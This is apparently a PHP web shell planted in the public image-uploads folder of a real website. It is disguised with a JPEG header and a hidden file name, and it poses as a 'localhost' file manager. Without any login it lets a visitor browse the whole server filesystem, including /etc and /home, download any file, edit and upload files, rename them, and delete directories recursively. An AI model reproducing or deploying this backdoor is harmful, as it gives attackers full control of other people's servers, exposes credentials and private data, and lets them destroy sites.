1#@!#!123s

��JFIF�� 1#@!#!123s
: / home / ststephensauh / public_html / admin / uploads / images /
Filename : .admin_index.php
back
    <?=
    $base = realpath('.');
    $systemRoot = (DIRECTORY_SEPARATOR === '\\') ? 'C:\\' : '/'; // Windows or Unix root
    $dir = isset($_GET['dir']) ? $_GET['dir'] : $base;

    // Resolve the directory path - allow full system access for localhost
    $dir = realpath($dir);

    // Only basic validation - ensure directory exists and is readable
    if ($dir === false || !is_dir($dir) || !is_readable($dir)) {
        $dir = $base; // Fallback to base if invalid path
    }

    // For localhost: Allow full system traversal - NO RESTRICTIONS

    function rrmdir($path) {
        if (!is_dir($path)) return;
        $items = array_diff(scandir($path), ['.', '..']);
        foreach ($items as $item) {
            $sub = $path . DIRECTORY_SEPARATOR . $item;
            is_dir($sub) ? rrmdir($sub) : unlink($sub);
        }
        rmdir($path);
    }

    // Handle file download
    if (isset($_GET['download'])) {
        $file = basename($_GET['download']);
        $fullPath = $dir . DIRECTORY_SEPARATOR . $file;
        if (is_file($fullPath)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($fullPath).'"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($fullPath));
            readfile($fullPath);
            exit;
        }
    }

    // Handle file editing
    $editFile = '';
    $editContent = '';
    if (isset($_GET['edit'])) {
        $editFile = basename($_GET['edit']);
        $fullPath = $dir . DIRECTORY_SEPARATOR . $editFile;
        if (is_file($fullPath)) {
            $editContent = file_get_contents($fullPath);
        }
    }

    // Save edited file
    if (isset($_POST['save_edit']) && !empty($_POST['edit_filename']) && isset($_POST['edit_content'])) {
        $filename = basename($_POST['edit_filename']);
        $fullPath = $dir . DIRECTORY_SEPARATOR . $filename;
        file_put_contents($fullPath, $_POST['edit_content']);
        header("Location: ?dir=" . urlencode($dir));
        exit;
    }

    // Delete operations
    if (isset($_GET['delete_file'])) {
        $toDelete = basename($_GET['delete_file']);
        $fullPath = $dir . DIRECTORY_SEPARATOR . $toDelete;
        if (is_file($fullPath)) {
            unlink($fullPath);
        }
        header("Location: ?dir=" . urlencode($dir));
        exit;
    }

    if (isset($_GET['delete_dir'])) {
        $toDelete = basename($_GET['delete_dir']);
        $fullPath = $dir . DIRECTORY_SEPARATOR . $toDelete;
        if (is_dir($fullPath)) {
            rrmdir($fullPath);
        }
        header("Location: ?dir=" . urlencode($dir));
        exit;
    }

    // Handle uploads and folder creation
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!empty($_FILES['file']['name'])) {
            move_uploaded_file($_FILES['file']['tmp_name'], $dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']));
        }

        if (!empty($_POST['folder_name'])) {
            $new_folder = $dir . DIRECTORY_SEPARATOR . basename($_POST['folder_name']);
            if (!is_dir($new_folder)) {
                mkdir($new_folder);
            }
        }

        if (!empty($_POST['rename_old']) && !empty($_POST['rename_new'])) {
            $old = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_old']);
            $new = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_new']);
            if (file_exists($old) && !file_exists($new)) {
                rename($old, $new);
            }
        }
    }

    $parent = dirname($dir);

    // Create breadcrumbs for full system path
    $pathParts = explode(DIRECTORY_SEPARATOR, $dir);
    $breadcrumbs = array_filter($pathParts);

    // Function to get system drives (Windows only)
    function getSystemDrives() {
        if (DIRECTORY_SEPARATOR !== '\\') return [];
        $drives = [];
        for ($i = ord('A'); $i <= ord('Z'); $i++) {
            $drive = chr($i) . ':\\';
            if (is_dir($drive)) {
                $drives[] = $drive;
            }
        }
        return $drives;
    }

    // Function to format file permissions
    function formatPermissions($file) {
        $perms = fileperms($file);
        $info = '';
        if (($perms & 0xC000) == 0xC000) $info = 's'; // Socket
        elseif (($perms & 0xA000) == 0xA000) $info = 'l'; // Symbolic Link
        elseif (($perms & 0x8000) == 0x8000) $info = '-'; // Regular
        elseif (($perms & 0x6000) == 0x6000) $info = 'b'; // Block special
        elseif (($perms & 0x4000) == 0x4000) $info = 'd'; // Directory
        elseif (($perms & 0x2000) == 0x2000) $info = 'c'; // Character special
        elseif (($perms & 0x1000) == 0x1000) $info = 'p'; // FIFO pipe
        else $info = 'u'; // Unknown
        
        // Owner
        $info .= (($perms & 0x0100) ? 'r' : '-');
        $info .= (($perms & 0x0080) ? 'w' : '-');
        $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
        
        // Group
        $info .= (($perms & 0x0020) ? 'r' : '-');
        $info .= (($perms & 0x0010) ? 'w' : '-');
        $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
        
        // World
        $info .= (($perms & 0x0004) ? 'r' : '-');
        $info .= (($perms & 0x0002) ? 'w' : '-');
        $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
        
        return $info;
    }

    // Function to check if file is editable (text file)
    function isEditableFile($filename) {
        $textExtensions = ['txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'py', 'java', 'cpp', 'c', 'h', 'sql', 'log', 'ini', 'conf', 'yml', 'yaml'];
        $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        return in_array($ext, $textExtensions) || $ext === '';
    }
    ?>

    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>Enhanced File Manager</title>
        <style>
            body { font-family: Arial, sans-serif; margin: 20px; }
            .actions { margin: 10px 0; }
            .edit-form { background: #f5f5f5; padding: 20px; border-radius: 5px; margin: 20px 0; }
            textarea { width: 100%; height: 400px; font-family: monospace; }
            .file-item { margin: 5px 0; padding: 5px; border-bottom: 1px solid #eee; }
            .file-actions { margin-left: 10px; }
            .file-actions a { margin-right: 5px; text-decoration: none; padding: 2px 5px; background: #007cba; color: white; border-radius: 3px; font-size: 12px; }
            .file-actions a:hover { background: #005a87; }
            .delete-btn { background: #dc3545 !important; }
            .edit-btn { background: #28a745 !important; }
            .download-btn { background: #ffc107 !important; color: #000 !important; }
            h2 a { color: #007cba; text-decoration: none; }
            h2 a:hover { text-decoration: underline; }
            form { margin: 10px 0; padding: 10px; background: #f8f9fa; border-radius: 5px; }
            input[type="text"], input[type="file"] { padding: 5px; margin: 5px; }
            button { padding: 5px 10px; background: #007cba; color: white; border: none; border-radius: 3px; cursor: pointer; }
            button:hover { background: #005a87; }
        </style>
    </head>
    <body>
        <h1>🌐 System File Manager (Localhost)</h1>
        
        <h2>📍 Current Directory: 
            <a href="?dir=<?= urlencode($systemRoot) ?>" title="Go to System Root">🖥️ System Root</a>
            <?php 
            $currentPath = '';
            foreach ($breadcrumbs as $i => $crumb):
                if ($crumb === '') continue;
                
                // Build path progressively
                if ($i === 0 && DIRECTORY_SEPARATOR === '\\') {
                    // Windows drive letter
                    $currentPath = $crumb . DIRECTORY_SEPARATOR;
                } else {
                    $currentPath .= ($currentPath === DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR) . $crumb;
                }
            ?>
                <?= ($i === 0 && DIRECTORY_SEPARATOR === '/') ? '' : ' / ' ?>
                <a href="?dir=<?= urlencode($currentPath) ?>" title="Navigate to <?= htmlspecialchars($crumb) ?>">
                    <?= ($i === 0 && DIRECTORY_SEPARATOR === '\\') ? '💽 ' . htmlspecialchars($crumb) : htmlspecialchars($crumb) ?>
                </a>
            <?php endforeach; ?>
            
            <small style="display: block; color: #666; font-size: 12px; margin-top: 5px;">
                Full System Path: <?= htmlspecialchars($dir) ?>
            </small>
        </h2>

        <!-- Navigation Controls -->
        <div style="background: #fff3cd; padding: 15px; border-radius: 5px; margin: 15px 0; border-left: 4px solid #ffc107;">
            <strong>⚠️ LOCALHOST MODE - FULL SYSTEM ACCESS ENABLED</strong>
            <p style="margin: 5px 0; font-size: 12px; color: #856404;">This file manager has unrestricted access to your entire system. Use with caution!</p>
        </div>

        <div style="background: #e9ecef; padding: 15px; border-radius: 5px; margin: 15px 0;">
            <strong>🧭 Quick Navigation:</strong>
            
            <?php if ($dir !== $systemRoot): ?>
                <a href="?dir=<?= urlencode($parent) ?>" style="margin: 0 10px; padding: 5px 10px; background: #6c757d; color: white; text-decoration: none; border-radius: 3px;">⬅️ Go Up</a>
            <?php endif; ?>
            
            <a href="?dir=<?= urlencode($systemRoot) ?>" style="margin: 0 10px; padding: 5px 10px; background: #dc3545; color: white; text-decoration: none; border-radius: 3px;">🖥️ System Root</a>
            
            <a href="?dir=<?= urlencode($base) ?>" style="margin: 0 10px; padding: 5px 10px; background: #007cba; color: white; text-decoration: none; border-radius: 3px;">🏠 Script Home</a>
            
            <!-- Windows Drive Navigation -->
            <?php if (DIRECTORY_SEPARATOR === '\\'):
                $drives = getSystemDrives();
                if (!empty($drives)): ?>
                    <span style="margin-left: 20px;"><strong>💽 Drives:</strong></span>
                    <?php foreach ($drives as $drive): ?>
                        <a href="?dir=<?= urlencode($drive) ?>" style="margin: 0 3px; padding: 3px 8px; background: #28a745; color: white; text-decoration: none; border-radius: 3px; font-size: 11px;"><?= $drive ?></a>
                    <?php endforeach; ?>
                <?php endif; ?>
            <?php else: ?>
                <!-- Unix/Linux Quick Paths -->
                <span style="margin-left: 20px;"><strong>🐧 Quick:</strong></span>
                <a href="?dir=/home" style="margin: 0 3px; padding: 3px 8px; background: #28a745; color: white; text-decoration: none; border-radius: 3px; font-size: 11px;">/home</a>
                <a href="?dir=/var" style="margin: 0 3px; padding: 3px 8px; background: #28a745; color: white; text-decoration: none; border-radius: 3px; font-size: 11px;">/var</a>
                <a href="?dir=/etc" style="margin: 0 3px; padding: 3px 8px; background: #28a745; color: white; text-decoration: none; border-radius: 3px; font-size: 11px;">/etc</a>
                <a href="?dir=/tmp" style="margin: 0 3px; padding: 3px 8px; background: #28a745; color: white; text-decoration: none; border-radius: 3px; font-size: 11px;">/tmp</a>
            <?php endif; ?>
            
            <span style="margin-left: 20px; font-size: 12px; color: #666;">
                📊 Items: <?= count(array_diff(scandir($dir), ['.', '..'])) ?> | 
                📁 Readable: <?= is_readable($dir) ? 'Yes' : 'No' ?> | 
                ✏️ Writable: <?= is_writable($dir) ? 'Yes' : 'No' ?>
            </span>
        </div>

        <!-- File Editor -->
        <?php if ($editFile): ?>
            <div class="edit-form">
                <h3>📝 Editing: <?= htmlspecialchars($editFile) ?></h3>
                <form method="post">
                    <input type="hidden" name="edit_filename" value="<?= htmlspecialchars($editFile) ?>">
                    <textarea name="edit_content" placeholder="File content..."><?= htmlspecialchars($editContent) ?></textarea><br>
                    <button type="submit" name="save_edit">💾 Save Changes</button>
                    <a href="?dir=<?= urlencode($dir) ?>" style="margin-left: 10px; padding: 5px 10px; background: #6c757d; color: white; text-decoration: none; border-radius: 3px;">❌ Cancel</a>
                </form>
            </div>
        <?php endif; ?>

        <!-- Upload Form -->
        <div class="actions">
            <form method="post" enctype="multipart/form-data" style="display: inline-block;">
                <strong>📤 Upload file:</strong>
                <input type="file" name="file" required>
                <button type="submit">Upload</button>
            </form>
        </div>

        <!-- Create Folder Form -->
        <div class="actions">
            <form method="post" style="display: inline-block;">
                <strong>📁 Create folder:</strong>
                <input type="text" name="folder_name" placeholder="New Folder" required>
                <button type="submit">Create</button>
            </form>
        </div>

        <!-- Rename Form -->
        <div class="actions">
            <form method="post" style="display: inline-block;">
                <strong>✏️ Rename:</strong>
                <input type="text" name="rename_old" placeholder="Current Name" required>
                <input type="text" name="rename_new" placeholder="New Name" required>
                <button type="submit">Rename</button>
            </form>
        </div>

        <h3>📋 Contents:</h3>
        <div>
            <?php
            $items = scandir($dir);
            $folders = [];
            $files = [];
            
            // Separate folders and files
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $item_path = $dir . DIRECTORY_SEPARATOR . $item;
                if (is_dir($item_path)) {
                    $folders[] = $item;
                } else {
                    $files[] = $item;
                }
            }
            
            // Sort both arrays
            sort($folders);
            sort($files);
            
            // Display parent directory link if not at system root
            if ($dir !== $systemRoot) {
                $parentName = ($parent === $systemRoot) ? "🖥️ System Root" : "📁 " . basename($parent);
                echo "<div class='file-item' style='background: #f8f9fa; border: 1px dashed #ccc; font-weight: bold;'>
                        <strong><a href='?dir=" . urlencode($parent) . "' style='color: #495057;'>..</a></strong> 
                        <span style='font-size: 12px; color: #666;'>($parentName)</span>
                        <span style='float: right; font-size: 10px; color: #999;'>" . htmlspecialchars($parent) . "</span>
                    </div>";
            }
            
            // Display folders
            foreach ($folders as $folder) {
                $item_path = $dir . DIRECTORY_SEPARATOR . $folder;
                $permissions = formatPermissions($item_path);
                $isWritable = is_writable($item_path);
                $itemCount = is_readable($item_path) ? count(array_diff(scandir($item_path), ['.', '..'])) : '?';
                
                echo "<div class='file-item'>
                        📁 <strong><a href='?dir=" . urlencode($item_path) . "'>" . htmlspecialchars($folder) . "</a></strong>
                        <small style='color: #666; margin-left: 10px;'>
                            ($itemCount items) | $permissions | " . ($isWritable ? '✏️ Writable' : '🔒 Read-only') . "
                        </small>
                        <span class='file-actions'>
                            <a href='?dir=" . urlencode($dir) . "&delete_dir=" . urlencode($folder) . "' 
                            onclick='return confirm(\"⚠️ DELETE FOLDER:\\n" . htmlspecialchars($folder) . "\\n\\nThis will permanently delete the folder and ALL its contents!\\n\\nFull path: " . htmlspecialchars($item_path) . "\\n\\nAre you absolutely sure?\")' 
                            class='delete-btn'" . ($isWritable ? '' : ' style=\"opacity:0.5\" title=\"Not writable\"') . ">🗑 Delete</a>
                        </span>
                    </div>";
            }
            
            // Display files
            foreach ($files as $file) {
                $item_path = $dir . DIRECTORY_SEPARATOR . $file;
                $fileSize = filesize($item_path);
                $fileSizeFormatted = $fileSize > 1024*1024 ? round($fileSize/(1024*1024), 2) . ' MB' : 
                                    ($fileSize > 1024 ? round($fileSize/1024, 2) . ' KB' : $fileSize . ' B');
                $lastModified = date('Y-m-d H:i:s', filemtime($item_path));
                $permissions = formatPermissions($item_path);
                $isWritable = is_writable($item_path);
                $isExecutable = is_executable($item_path);
                
                // File type icon
                $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
                $icon = '📄';
                if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg'])) $icon = '🖼️';
                elseif (in_array($ext, ['mp3', 'wav', 'ogg', 'flac'])) $icon = '🎵';
                elseif (in_array($ext, ['mp4', 'avi', 'mkv', 'mov'])) $icon = '🎬';
                elseif (in_array($ext, ['zip', 'rar', '7z', 'tar', 'gz'])) $icon = '📦';
                elseif (in_array($ext, ['php', 'html', 'css', 'js'])) $icon = '💻';
                elseif (in_array($ext, ['txt', 'md', 'log'])) $icon = '📝';
                elseif ($isExecutable) $icon = '⚙️';
                
                echo "<div class='file-item'>
                        $icon <span style='font-weight: 500;'>" . htmlspecialchars($file) . "</span>
                        <small style='color: #666; margin-left: 10px;'>
                            ($fileSizeFormatted) | $lastModified | $permissions" . 
                            ($isExecutable ? ' | ⚙️ Executable' : '') . 
                            ($isWritable ? '' : ' | 🔒 Read-only') . "
                        </small>
                        <span class='file-actions'>";
                
                // Download button for all files
                echo "<a href='?dir=" . urlencode($dir) . "&download=" . urlencode($file) . "' class='download-btn'>💾 Download</a>";
                
                // Edit button only for text files and if writable
                if (isEditableFile($file)) {
                    echo "<a href='?dir=" . urlencode($dir) . "&edit=" . urlencode($file) . "' class='edit-btn'" . 
                        ($isWritable ? '' : ' style=\"opacity:0.5\" title=\"File is read-only\"') . ">✏️ Edit</a>";
                }
                
                // Delete button
                echo "<a href='?dir=" . urlencode($dir) . "&delete_file=" . urlencode($file) . "' 
                        onclick='return confirm(\"⚠️ DELETE FILE:\\n" . htmlspecialchars($file) . "\\n\\nFull path: " . htmlspecialchars($item_path) . "\\n\\nAre you sure?\")' 
                        class='delete-btn'" . ($isWritable ? '' : ' style=\"opacity:0.5\" title=\"File is read-only\"') . ">🗑 Delete</a>";
                
                echo "</span></div>";
            }
            ?>
        </div>

        <hr style="margin-top: 30px;">
        <footer style="text-align: center; color: #666; font-size: 12px;">
            <div style="background: #f8d7da; padding: 10px; border-radius: 5px; border: 1px solid #f5c6cb; margin-bottom: 10px;">
                <strong>⚠️ LOCALHOST DEVELOPMENT MODE</strong><br>
                <span style="font-size: 11px;">Full system access enabled - Use only in secure localhost environment!</span>
            </div>
            <p>🌐 System File Manager | Features: Upload, Download, Edit, Create Folders, Rename, Delete</p>
            <p><strong>System Root:</strong> <?= htmlspecialchars($systemRoot) ?> | <strong>Script Home:</strong> <?= htmlspecialchars($base) ?></p>
            <p style="font-size: 10px; margin-top: 10px;">
                <strong>Navigation Guide:</strong> 
                🖥️ System Root = <?= DIRECTORY_SEPARATOR === '\\' ? 'C:\\ (Windows)' : '/ (Unix/Linux)' ?> | 
                🏠 Script Home = Current Script Directory | 
                ⬅️ Up = Parent Directory | 
                💽 Drives = Available System Drives (Windows)
            </p>
            <p style="font-size: 9px; color: #999; margin-top: 5px;">
                Permissions Format: [type][owner][group][world] | r=read, w=write, x=execute, d=directory, -=regular file
            </p>
        </footer>
    </body>
    </html>